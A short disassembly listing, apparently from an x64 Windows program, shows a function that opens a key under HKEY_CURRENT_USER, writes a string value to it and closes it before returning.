lea rcx, [rbp + 0x268]
mov qword [rsp + 0x20], rcx
mov r9d, 2
xor r8d, r8d
mov rdx, rax
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea rcx, [0x1402afaa0]
call fcn.1400c27f8
mov dword [rsp + 0x28], 0x104
lea rcx, [rbp + 0x140]
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
mov rdx, rax
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x268]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [rbp + 0x444], 0
lea rcx, [rbp + 0x288]
call fcn.1400c3009
mov eax, dword [rbp + 0x444]
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14025dfd0]
call fcn.1400c6713
mov eax, edi
mov rcx, qword [rbp + 0x458]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0x468]
pop rdi
pop rbp
ret